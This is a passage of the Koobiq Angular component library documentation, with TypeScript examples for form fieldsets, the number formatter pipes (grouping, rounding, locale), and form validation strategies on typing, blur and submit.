        <div class="kbq-form__fieldset">
            <div class="kbq-form__legend">Перемещение внутри периметра</div>
            <div class="kbq-form__row">
                <label class="kbq-form__label">Выполнение</label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" [(ngModel)]="value" />
                </kbq-form-field>
            </div>

            <div class="kbq-form__row">
                <label class="kbq-form__label">
                    Длинное название поля в несколько строк с возможным переносом на новую строку
                </label>
                <kbq-form-field class="kbq-form__control flex-10">
                    <input kbqInput name="input" [(ngModel)]="value" />

                    <kbq-hint style="white-space: nowrap">Подсказка под полем</kbq-hint>
                </kbq-form-field>
            </div>
        </div>
    </form>
</div>
```

### Grouped fields

Multiple fields can be combined and grouped together to emphasize their relationship.

**Example: Form fieldset** (`form-fieldset-overview`)

```ts form-fieldset-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'form-fieldset-overview-example',
    imports: [
        KbqInputModule,
        KbqButtonModule,
        KbqSelectModule,
        ReactiveFormsModule
    ],
    template: `
        <kbq-fieldset>
            <legend kbqLegend>Field group title</legend>

            <kbq-form-field style="width: 96px; min-width: 96px">
                <kbq-select panelWidth="auto" [formControl]="control">
                    @for (option of options; track option) {
                        <kbq-option [value]="option">
                            <span [innerHTML]="option"></span>
                        </kbq-option>
                    }
                </kbq-select>
            </kbq-form-field>

            <kbq-form-field kbqFieldsetItem>
                <input kbqInput placeholder="IP-address" />
            </kbq-form-field>

            <kbq-hint>
                Hint for the first field. A long hint text below the field that wraps to a new line and spans the full
                width of the group
            </kbq-hint>
            <kbq-hint>Hint for the second field</kbq-hint>
        </kbq-fieldset>
    `,
    styles: `
        :host {
            margin: var(--kbq-size-m) auto;
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row'
    }
})
export class FormFieldsetOverviewExample {
    options = [
        'https://',
        'http://'
    ];

    control = new FormControl(this.options[0]);
}
```

Within a group, you can use a placeholder as the field label. Hints and errors will be shown below the group in sequence, with an indication of the specific field they relate to. You can also use a general message for the group or omit the field names in the text if the meaning remains clear without labels.

**Example: Form fieldset** (`form-fieldset-invalid`)

```ts form-fieldset-invalid-example.ts
import { afterNextRender, ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'form-fieldset-invalid-example',
    imports: [
        ReactiveFormsModule,
        KbqInputModule
    ],
    template: `
        <form [formGroup]="form">
            <kbq-fieldset>
                <kbq-form-field kbqFieldsetItem>
                    <input kbqInput placeholder="Surname" [formControl]="form.controls.surname" />
                </kbq-form-field>

                <kbq-form-field kbqFieldsetItem>
                    <input kbqInput placeholder="Name" [formControl]="form.controls.name" />
                </kbq-form-field>

                <kbq-form-field kbqFieldsetItem>
                    <input kbqInput placeholder="Patronymic" [formControl]="form.controls.patronymic" />
                </kbq-form-field>

                @if (form.controls.surname.hasError('required')) {
                    <kbq-error>Surname: error message for the first field</kbq-error>
                }
                @if (form.controls.name.hasError('required')) {
                    <kbq-error>Name: error message for the second field</kbq-error>
                }
                @if (form.controls.patronymic.hasError('required')) {
                    <kbq-error>Patronymic: error message for the third field</kbq-error>
                }
            </kbq-fieldset>
        </form>
    `,
    styles: `
        :host {
            margin: var(--kbq-size-m) auto;
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row'
    }
})
export class FormFieldsetInvalidExample {
    form = new FormGroup({
        surname: new FormControl('', Validators.required),
        name: new FormControl('', Validators.required),
        patronymic: new FormControl('', Validators.required)
    });

    constructor() {
        afterNextRender(() =>
            Object.values(this.form.controls).forEach((control) => {
                control.markAsTouched();
                control.updateValueAndValidity();
            })
        );
    }
}
```

A button can also be combined with a field.

**Example: Form fieldset with button** (`form-fieldset-with-button`)

```ts form-fieldset-with-button-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'form-fieldset-with-button-example',
    imports: [
        KbqInputModule,
        KbqButtonModule,
        KbqIconModule
    ],
    template: `
        <kbq-fieldset>
            <legend kbqLegend>
                A long field name that wraps to a new line and is positioned even above the button.
            </legend>

            <kbq-form-field kbqFieldsetItem>
                <input kbqInput />
            </kbq-form-field>

            <button kbq-button kbqFieldsetItem kbqStyle="outline">
                <i kbq-icon="kbq-floppy-disk_16"></i>
                Save
            </button>

            <kbq-hint>
                A long hint text under the field that wraps to a new line and even extends beneath the button.
            </kbq-hint>
        </kbq-fieldset>
    `,
    styles: `
        :host {
            margin: var(--kbq-size-m) auto;
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row'
    }
})
export class FormFieldsetWithButtonExample {}
```

## Number formatter

- Page: https://koobiq.io/en/other/number-formatter/overview

Every language has its own norms for writing numbers: the decimal separator, digit grouping, the labels for thousands and millions. Formatters apply the norms of the current locale and update the output when the language changes. Use them anywhere a user reads numbers.

### Digit grouping

In large numbers, digits are grouped in threes, counting from the right. Use the `kbqNumber` pipe in text and `kbqTableNumber` in tables. The pipes differ in the threshold at which grouping starts. The numbers below follow the Russian locale; other locales use their own separator and always separate digit groups.

`kbqNumber` groups digits in numbers from 10 000 up, that is, starting from five digits: 1234, 56 789, 987 654, 1 000 000 000. In running text, a short number reads more naturally without a separator.

`kbqTableNumber` always separates digit groups: 1 234, 56 789, 987 654, 1 000 000 000. In a table, even columns make it easier to compare values by digit place from top to bottom.

### Formatting

Both pipes accept an optional `digitsInfo` string that sets the number of integer and fraction digits:

```
{minIntegerDigits}.{minFractionDigits}-{maxFractionDigits}-{useGrouping}
```

| Parameter           | Default | Description                       |
| ------------------- | ------- | --------------------------------- |
| `minIntegerDigits`  | `1`     | Minimum number of integer digits  |
| `minFractionDigits` | `0`     | Minimum number of fraction digits |
| `maxFractionDigits` | `3`     | Maximum number of fraction digits |
| `useGrouping`       | `true`  | Turns digit grouping on or off    |

For example, `'4.0-2-false'` keeps 4 integer and up to 2 fraction digits and disables grouping.

**Example: Number-formatter** (`number-formatter-overview`)

```ts number-formatter-overview-example.ts
import { ChangeDetectionStrategy, ChangeDetectorRef, Component, inject } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KBQ_LOCALE_SERVICE,
    KbqFormattersModule,
    KbqLocaleService,
    KbqNormalizeWhitespace
} from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTableModule } from '@koobiq/components/table';
import { delay } from 'rxjs';
import { distinctUntilChanged } from 'rxjs/operators';

@Component({
    selector: 'number-formatter-overview-example',
    imports: [
        FormsModule,
        KbqFormattersModule,
        KbqInputModule,
        KbqNormalizeWhitespace,
        KbqTableModule
    ],
    template: `
        <kbq-form-field style="margin-bottom: 16px; max-width: 200px">
            <input kbqNormalizeWhitespace kbqNumberInput placeholder="Number" [(ngModel)]="value" />
        </kbq-form-field>

        <table kbq-table disableHover>
            <thead>
                <tr>
                    <th>digitsInfo</th>
                    <th>kbqNumber</th>
                    <th>kbqTableNumber</th>
                </tr>
            </thead>
            <tbody>
                @for (digitsInfo of digitsInfoList; track digitsInfo) {
                    <tr>
                        <td>{{ digitsInfo || '—' }}</td>
                        <td>{{ value | kbqNumber: digitsInfo }}</td>
                        <td>{{ value | kbqTableNumber: digitsInfo }}</td>
                    </tr>
                }
            </tbody>
        </table>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NumberFormatterOverviewExample {
    protected localeService = inject<KbqLocaleService>(KBQ_LOCALE_SERVICE);
    protected changeDetectorRef = inject(ChangeDetectorRef);

    protected value = 1000.123;
    protected readonly digitsInfoList = ['', '5.5-5', '4.5-5', '4.0-2', '4.0-2-false', '4.0-0'];

    constructor() {
        this.localeService.changes
            .pipe(distinctUntilChanged(), delay(0))
            .subscribe(() => this.changeDetectorRef.markForCheck());
    }
}
```

### Abbreviated numbers

The `kbqRoundNumber` pipe displays large numbers in a short form: a thousand as `K`, a million as `M`, a billion as `B`, and so on.

**Example: Number-formatter rounding** (`number-formatter-rounding`)

```ts number-formatter-rounding-example.ts
import { ChangeDetectionStrategy, ChangeDetectorRef, Component, inject } from '@angular/core';
import { KBQ_LOCALE_SERVICE, KbqFormattersModule, KbqLocaleService } from '@koobiq/components/core';
import { KbqTableModule } from '@koobiq/components/table';
import { delay } from 'rxjs';
import { distinctUntilChanged } from 'rxjs/operators';

@Component({
    selector: 'number-formatter-rounding-example',
    imports: [KbqFormattersModule, KbqTableModule],
    template: `
        <table kbq-table disableHover>
            <thead>
                <tr>
                    <th>Full number</th>
                    <th>Formatted value</th>
                </tr>
            </thead>
            <tbody>
                @for (number of numbers; track number) {
                    <tr>
                        <td>{{ number | kbqTableNumber }}</td>
                        <td>{{ number | kbqRoundNumber }}</td>
                    </tr>
                }
            </tbody>
        </table>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NumberFormatterRoundingExample {
    protected localeService = inject<KbqLocaleService>(KBQ_LOCALE_SERVICE);
    protected changeDetectorRef = inject(ChangeDetectorRef);

    protected readonly numbers = [1000, 10000, 100000, 1000000, 10000000, 100000000, 1000000000];

    constructor() {
        this.localeService.changes
            .pipe(distinctUntilChanged(), delay(0))
            .subscribe(() => this.changeDetectorRef.markForCheck());
    }
}
```

### Choosing a locale

By default the pipes use the current application locale. Pass a locale code as the last argument to format a value in the specified locale regardless of the active one.

**Example: Number-formatter forced locale** (`number-formatter-locale`)

```ts number-formatter-locale-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFormattersModule } from '@koobiq/components/core';
import { KbqTableModule } from '@koobiq/components/table';

@Component({
    selector: 'number-formatter-locale-example',
    imports: [KbqFormattersModule, KbqTableModule],
    template: `
        <table kbq-table disableHover>
            <thead>
                <tr>
                    <th>Locale</th>
                    <th>kbqNumber</th>
                    <th>kbqRoundNumber</th>
                </tr>
            </thead>
            <tbody>
                @for (locale of locales; track locale) {
                    <tr>
                        <td>{{ locale }}</td>
                        <td>{{ value | kbqNumber: '' : locale }}</td>
                        <td>{{ value | kbqRoundNumber: locale }}</td>
                    </tr>
                }
            </tbody>
        </table>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NumberFormatterLocaleExample {
    protected readonly value = 1234567.89;
    protected readonly locales = ['ru-RU', 'en-US', 'es-LA', 'pt-BR'];
}
```

## Validation

- Page: https://koobiq.io/en/other/validation/overview

### Overview

Form-field controls display errors via [`ErrorStateMatcher`](https://koobiq.io/en/other/validation.md) — a small policy object that decides _when_ to surface a control's existing errors.

#### Summary

- The submit button is never disabled
- Invalid character input is reported as it's typed
- Error messages are shown on blur (focus loss)
- Empty required fields don't show errors on blur
- Fields already in error state are validated as user types

#### Opening the form

Focus is placed on the first field. Unfilled fields are not highlighted in red by default. An exception is a saved draft with already-visible errors that the user resumes filling.

**Example: Validation on open** (`validation-on-open`)

```ts validation-on-open-example.ts
import { ChangeDetectionStrategy, Component, inject, TemplateRef, viewChildren } from '@angular/core';
import { FormControl, FormGroup, FormsModule, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    ShowOnFormSubmitErrorStateMatcher
} from '@koobiq/components/core';
import { KbqFormField } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';
import { KBQ_MODAL_DATA, KbqModalRef, KbqModalService, ModalSize } from '@koobiq/components/modal';
import { take } from 'rxjs';

type DocsFormData = {
    firstName: string;
    lastName: string;
};

@Component({
    selector: 'docs-empty-form',
    imports: [KbqFormsModule, FormsModule, KbqButtonModule, KbqInputModule, ReactiveFormsModule],
    template: `
        <form class="kbq-form-vertical" id="docs-form" novalidate [formGroup]="userDetailsForm" (ngSubmit)="onSubmit()">
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <div class="kbq-form__label">Name</div>
                    <kbq-form-field class="kbq-form__control">
                        <input formControlName="firstName" kbqInput />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <div class="kbq-form__label">Surname</div>
                    <kbq-form-field class="kbq-form__control">
                        <input formControlName="lastName" kbqInput />
                    </kbq-form-field>
                </div>
            </div>
        </form>
    `,
    styles: `
        form {
            padding: 1px;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(ShowOnFormSubmitErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DocsNameFormComponent {
    protected readonly modalData = inject<DocsFormData>(KBQ_MODAL_DATA, { optional: true });
    protected readonly modalRef = inject(KbqModalRef);
    protected readonly formFieldList = viewChildren(KbqFormField);
    readonly userDetailsForm = new FormGroup({
        firstName: new FormControl(this.modalData?.firstName || '', Validators.required),
        lastName: new FormControl(this.modalData?.lastName || '', Validators.required)
    });

    onSubmit(): void {
        this.focusFirstInvalidControl();

        if (this.userDetailsForm.invalid) return;

        this.modalRef.close(this.userDetailsForm.value);
    }

    private focusFirstInvalidControl(): void {
        setTimeout(() => {
            const invalidControl = this.formFieldList().find((control) => control.invalid);

            invalidControl?.focus();
        });
    }
}

@Component({
    selector: 'validation-on-open-example',
    imports: [
        ReactiveFormsModule,
        KbqInputModule,
        KbqButtonModule
    ],
    template: `
        <button kbq-button color="contrast" (click)="openEmptyForm(footer)">Open empty form</button>
        <button kbq-button color="contrast-fade" (click)="openDraftForm(footer)">Open draft</button>

        <ng-template #footer>
            <button type="submit" form="docs-form" kbq-button color="contrast">Save</button>
            <button
                kbq-button
                color="contrast-fade"
                (click)="modalRef.close(modalRef.getContentComponent().userDetailsForm.value)"
            >
                Cancel
            </button>
        </ng-template>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row layout-gap-l'
    }
})
export class ValidationOnOpenExample {
    protected readonly modalService = inject(KbqModalService);
    protected modalRef: KbqModalRef<DocsNameFormComponent>;

    openEmptyForm(footer: TemplateRef<any>): void {
        this.modalRef = this.modalService.create({
            kbqSize: ModalSize.Small,
            kbqContent: DocsNameFormComponent,
            kbqFooter: footer
        });

        this.modalRef.afterOpen.pipe(take(1)).subscribe(() => {
            this.modalRef.getElement().getElementsByTagName('input').item(0)?.focus();
        });
    }

    openDraftForm(footer: TemplateRef<any>): void {
        this.modalRef = this.modalService.create({
            kbqSize: ModalSize.Small,
            kbqContent: DocsNameFormComponent,
            kbqFooter: footer,
            data: {
                firstName: 'Romano',
                lastName: ''
            } satisfies DocsFormData
        });

        this.modalRef.afterOpen.pipe(take(1)).subscribe(() => {
            this.modalRef.getElement().getElementsByTagName('button').item(0)?.click();
        });
    }
}
```

#### Required fields

Required fields are not marked as such if most of the fields are required. Optional fields can be labeled with a tag or placeholder like “Optional.” It's even better to explain why filling in this info is helpful to the user.

**Example: Validation optional label** (`validation-optional-label`)

```ts validation-optional-label-example.ts
import { ChangeDetectionStrategy, Component, viewChildren } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    ShowOnFormSubmitErrorStateMatcher
} from '@koobiq/components/core';
import { KbqFormField } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'validation-optional-label-example',
    imports: [
        ReactiveFormsModule,
        KbqInputModule,
        KbqButtonModule,
        KbqFormsModule
    ],
    template: `
        <form class="kbq-form-vertical" novalidate [formGroup]="form" (ngSubmit)="onSubmit()">
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <div class="kbq-form__label">Name</div>
                    <kbq-form-field class="kbq-form__control">
                        <input formControlName="firstName" kbqInput />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <div class="kbq-form__label">Last name</div>
                    <kbq-form-field class="kbq-form__control">
                        <input formControlName="lastName" kbqInput />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-margin-bottom-xxl">
                    <div class="kbq-form__label">Patronymic</div>
                    <kbq-form-field class="kbq-form__control">
                        <input formControlName="patronymic" kbqInput placeholder="Optional" />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-align-start-start">
                    <button color="contrast" kbq-button type="submit">Submit</button>
                </div>
            </div>
        </form>
    `,
    styles: `
        form {
            width: 320px;
            padding: 1px;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(ShowOnFormSubmitErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationOptionalLabelExample {
    protected readonly form = new FormGroup({
        firstName: new FormControl('', Validators.required),
        lastName: new FormControl('', Validators.required),
        patronymic: new FormControl('')
    });
    private readonly formFieldList = viewChildren(KbqFormField);

    onSubmit(): void {
        this.focusFirstInvalidControl();
    }

    private focusFirstInvalidControl(): void {
        setTimeout(() => {
            const invalidControl = this.formFieldList().find((control) => control.invalid);

            invalidControl?.focus();
        });
    }
}
```

Some fields can go unmarked as optional if their auxiliary purpose is obvious. For example, “Description.”

If most fields in the form are optional, then the few required ones should be marked. You can add a red asterisk after the label or a gray “Required” tag below the field. Don't use multiple methods for indicating required fields in the same form. The asterisk is the `showRequiredMarker` option of the form field, see [Form field](https://koobiq.io/en/components/form-field.md#label).

**Example: Validation required label** (`validation-required-label`)

```ts validation-required-label-example.ts
import { ChangeDetectionStrategy, Component, viewChildren } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    KbqOptionModule,
    ShowOnFormSubmitErrorStateMatcher
} from '@koobiq/components/core';
import { KbqFormField, kbqFormFieldDefaultOptionsProvider } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqSelectModule } from '@koobiq/components/select';
import { KbqTextareaModule } from '@koobiq/components/textarea';

@Component({
    selector: 'validation-required-label-example',
    imports: [
        ReactiveFormsModule,
        KbqInputModule,
        KbqButtonModule,
        KbqFormsModule,
        KbqOptionModule,
        KbqSelectModule,
        KbqTextareaModule
    ],
    template: `
        <form class="kbq-form-horizontal" novalidate [formGroup]="form" (ngSubmit)="onSubmit()">
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <kbq-form-field horizontal labelClass="flex-25" contentClass="flex-75">
                        <kbq-label>Name</kbq-label>
                        <input formControlName="firstName" kbqInput />

                        <kbq-error>Required</kbq-error>
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <kbq-form-field horizontal labelClass="flex-25" contentClass="flex-75">
                        <kbq-label>Last name</kbq-label>
                        <input formControlName="lastName" kbqInput />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <kbq-form-field horizontal labelClass="flex-25" contentClass="flex-75">
                        <kbq-label>Patronymic</kbq-label>
                        <input formControlName="thirdName" kbqInput placeholder="Optional" />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <kbq-form-field horizontal labelClass="flex-25" contentClass="flex-75">
                        <kbq-label>Email</kbq-label>
                        <input formControlName="email" kbqInput type="email" />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <kbq-form-field horizontal labelClass="flex-25" contentClass="flex-75">
                        <kbq-label>Request reason</kbq-label>
                        <kbq-select formControlName="reason">
                            @for (option of docsReasons; track option.value) {
                                <kbq-option [value]="option.value">
                                    {{ option.label }}
                                </kbq-option>
                            }
                        </kbq-select>
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <kbq-form-field horizontal labelClass="flex-25" contentClass="flex-75">
                        <kbq-label>Estimation</kbq-label>
                        <kbq-select formControlName="estimation">
                            @for (option of estimation; track option.value) {
                                <kbq-option [value]="option.value">
                                    {{ option.label }}
                                </kbq-option>
                            }
                        </kbq-select>

                        <kbq-error>Required</kbq-error>
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-margin-bottom-xxl">
                    <kbq-form-field horizontal labelClass="flex-25" contentClass="flex-75">
                        <kbq-label>Comment</kbq-label>
                        <textarea formControlName="comment" kbqTextarea></textarea>
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <div class="flex-25"></div>
                    <div class="flex-75">
                        <button color="contrast" kbq-button type="submit">Submit</button>
                    </div>
                </div>
            </div>
        </form>
    `,
    styles: `
        .kbq-form__row:has(> .kbq-form-field-type-select) {
            --kbq-forms-size-vertical-row-margin-bottom: var(--kbq-size-xl);
        }

        form {
            width: 574px;
            padding: 1px;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(ShowOnFormSubmitErrorStateMatcher),
        kbqFormFieldDefaultOptionsProvider({ showRequiredMarker: true })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationRequiredLabelExample {
    protected readonly docsReasons = [
        { value: 1, label: 'Parenting issues' },
        { value: 2, label: 'Depression, anxiety, fear' },
        { value: 3, label: 'Life crises' },
        { value: 4, label: 'Low self-confidence' },
        { value: 5, label: 'Relationships' },
        { value: 6, label: 'Psychosomatic illnesses' },
        { value: 7, label: 'Recurring unpleasant situations' },
        { value: 8, label: 'Difficult life situation' },
        { value: 9, label: 'Emotional disorders' },
        { value: 10, label: 'Other' }
    ];

    protected readonly estimation = [
        { value: 1, label: 'Bad' },
        { value: 2, label: 'Satisfactory' },
        { value: 3, label: 'Good' },
        { value: 4, label: 'Best of all' }
    ];

    protected readonly form = new FormGroup({
        firstName: new FormControl<string>('', { nonNullable: true, validators: [Validators.required] }),
        lastName: new FormControl<string>('', { nonNullable: true }),
        thirdName: new FormControl<string>('', { nonNullable: true }),
        email: new FormControl<string>('', { nonNullable: true, validators: [Validators.email] }),
        reason: new FormControl<number>(this.docsReasons[2].value, { nonNullable: true }),
        estimation: new FormControl<string>('', { nonNullable: true, validators: [Validators.required] }),
        comment: new FormControl<string>('', { nonNullable: true })
    });

    private readonly formFieldList = viewChildren(KbqFormField);

    onSubmit(): void {
        this.focusFirstInvalidControl();
    }

    private focusFirstInvalidControl(): void {
        setTimeout(() => {
            const invalidControl = this.formFieldList().find((control) => control.invalid);

            invalidControl?.focus();
        });
    }
}
```

#### When to validate for errors

There are three main strategies for validation:

1. While typing
2. On blur (when leaving the field)
3. After submitting the form

##### While typing

Used to check for valid characters. Invalid characters are filtered out during input, and an error tooltip is shown near the text caret. The message disappears when a valid character is entered or the field loses focus.

**Example: Validation on type** (`validation-on-type`)

```ts validation-on-type-example.ts
import { ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule } from '@angular/forms';
import { KbqComponentColors, PopUpPlacements } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqToolTipModule, KbqTooltipTrigger } from '@koobiq/components/tooltip';

const restSymbolsRegex = /[^0-9a-zA-Zа-яА-ЯйЙёЁ]+/g;

@Component({
    selector: 'validation-on-type-example',
    imports: [
        ReactiveFormsModule,
        KbqToolTipModule,
        KbqInputModule
    ],
    template: `
        <form novalidate [formGroup]="checkOnFlyForm">
            <kbq-form-field>
                <kbq-label>Folder name</kbq-label>
                <input
                    formControlName="folderName"
                    kbqInput
                    [kbqEnterDelay]="10"
                    [kbqPlacement]="popUpPlacements.Top"
                    [kbqRelativeToCaret]="true"
                    [kbqTrigger]="'manual'"
                    [kbqTooltip]="'Letters and numbers'"
                    [kbqTooltipColor]="colors.Error"
                    (blur)="onBlur()"
                    (input)="onInput($event)"
                />

                <kbq-cleaner />

                <kbq-hint>Only letters and numbers</kbq-hint>
            </kbq-form-field>
        </form>
    `,
    styles: `
        form {
            width: 320px;
            padding: 1px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationOnTypeExample {
    protected readonly tooltip = viewChild(KbqTooltipTrigger);

    protected readonly popUpPlacements = PopUpPlacements;
    protected readonly colors = KbqComponentColors;

    protected readonly checkOnFlyForm = new FormGroup({
        folderName: new FormControl('')
    });

    protected onInput(event: Event): void {
        if (!(event.target instanceof HTMLInputElement)) return;

        const { value } = event.target;
        const allowedValue = value.replace(restSymbolsRegex, '');

        // A valid character leaves nothing to filter out, so the hint goes as soon as one is typed.
        if (allowedValue === value) {
            this.tooltip()?.hide();

            return;
        }

        this.checkOnFlyForm.controls.folderName.setValue(allowedValue);
        this.tooltip()?.show();
    }

    protected onBlur(): void {
        this.tooltip()?.hide();
    }
}
```

##### On blur

For fields with complex requirements (like IP address or email), they shouldn't enter an error state during typing to avoid distracting the user. Validation is done on blur — the field is marked invalid and an error message appears beneath it.

**Example: Validation on blur** (`validation-on-blur`)

```ts validation-on-blur-example.ts
import {
    ChangeDetectionStrategy,
    Component,
    Directive,
    ElementRef,
    inject,
    Injectable,
    viewChild
} from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import {
    AbstractControl,
    FormControl,
    FormGroupDirective,
    NgControl,
    NgForm,
    ReactiveFormsModule,
    ValidatorFn,
    Validators
} from '@angular/forms';
import {
    ErrorStateMatcher,
    KbqComponentColors,
    kbqErrorStateMatcherProvider,
    PopUpPlacements
} from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqToolTipModule, KbqTooltipTrigger } from '@koobiq/components/tooltip';
import { fromEvent, switchMap } from 'rxjs';
import { take } from 'rxjs/operators';

const IP_PATTERN =
    /^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/;

const restSymbolsRegex = /[^0-9.]+/g;

@Injectable()
export class CustomErrorStateMatcher implements ErrorStateMatcher {
    isErrorState(control: AbstractControl | null, form: FormGroupDirective | NgForm | null): boolean {
        return !!(control?.invalid && control.touched && (form?.submitted ?? true));
    }
}

@Directive({
    selector: '[exampleResetTouchedOnFirstInput]',
    exportAs: 'exampleResetTouchedOnFirstInput'
})
class ExampleResetTouchedOnFirstInput {
    protected readonly elementRef = inject<ElementRef<HTMLElement>>(ElementRef);
    protected readonly control = inject(NgControl, { optional: true, host: true });
    protected validators: ValidatorFn | null = null;

    constructor() {
        const inputEvent = fromEvent(this.elementRef.nativeElement, 'input').pipe(take(1));

        fromEvent(this.elementRef.nativeElement, 'focus')
            .pipe(
                switchMap(() => inputEvent),
                takeUntilDestroyed()
            )
            .subscribe(() => {
                if (this.control?.control) {
                    this.control.control.markAsUntouched();
                }
            });
    }
}

@Component({
    selector: 'validation-on-blur-example',
    imports: [
        ReactiveFormsModule,
        KbqInputModule,
        KbqToolTipModule,
        ExampleResetTouchedOnFirstInput
    ],
    template: `
        <kbq-form-field style="width: 320px;">
            <kbq-label>IPv4-address</kbq-label>
            <input
                kbqInput
                exampleResetTouchedOnFirstInput
                [formControl]="ipAddressControl"
                [kbqEnterDelay]="10"
                [kbqPlacement]="popUpPlacements.Top"
                [kbqRelativeToCaret]="true"
                [kbqTrigger]="'manual'"
                [kbqTooltip]="'Numbers and dots only'"
                [kbqTooltipColor]="colors.Error"
                (blur)="onBlur()"
                (input)="onInput($event)"
            />

            <kbq-error>The IP address does not comply with RFC standards</kbq-error>

            <kbq-cleaner />
        </kbq-form-field>
    `,
    providers: [
        kbqErrorStateMatcherProvider(CustomErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationOnBlurExample {
    protected readonly tooltip = viewChild(KbqTooltipTrigger);

    protected readonly ipAddressControl = new FormControl('', [Validators.pattern(IP_PATTERN)]);
    protected readonly popUpPlacements = PopUpPlacements;
    protected readonly colors = KbqComponentColors;

    protected onInput(event: Event): void {
        if (!(event.target instanceof HTMLInputElement)) return;

        const { value } = event.target;
        const allowedValue = value.replace(restSymbolsRegex, '');

        // A valid character leaves nothing to filter out, so the hint goes as soon as one is typed.
        if (allowedValue === value) {
            this.tooltip()?.hide();

            return;
        }

        this.ipAddressControl.setValue(allowedValue);
        this.tooltip()?.show();
    }

    protected onBlur(): void {
        this.tooltip()?.hide();
    }
}
```

Empty fields are not validated on blur.

Real-time validation works for fields already marked as invalid. If the value is corrected, the error message disappears and the field is restored to normal state.

Invalid fields remain styled as such if the user leaves the field without correcting the error.

**Example: Validation on blur filled** (`validation-on-blur-filled`)

```ts validation-on-blur-filled-example.ts
import {
    afterNextRender,
    ChangeDetectionStrategy,
    Component,
    Directive,
    ElementRef,
    inject,
    Injectable,
    viewChild
} from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import {
    AbstractControl,
    FormControl,
    FormGroupDirective,
    NgControl,
    NgForm,
    ReactiveFormsModule,
    Validators
} from '@angular/forms';
import {
    ErrorStateMatcher,
    KbqComponentColors,
    kbqErrorStateMatcherProvider,
    PopUpPlacements
} from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqToolTipModule, KbqTooltipTrigger } from '@koobiq/components/tooltip';
import { fromEvent, switchMap } from 'rxjs';
import { take } from 'rxjs/operators';

const IP_PATTERN =
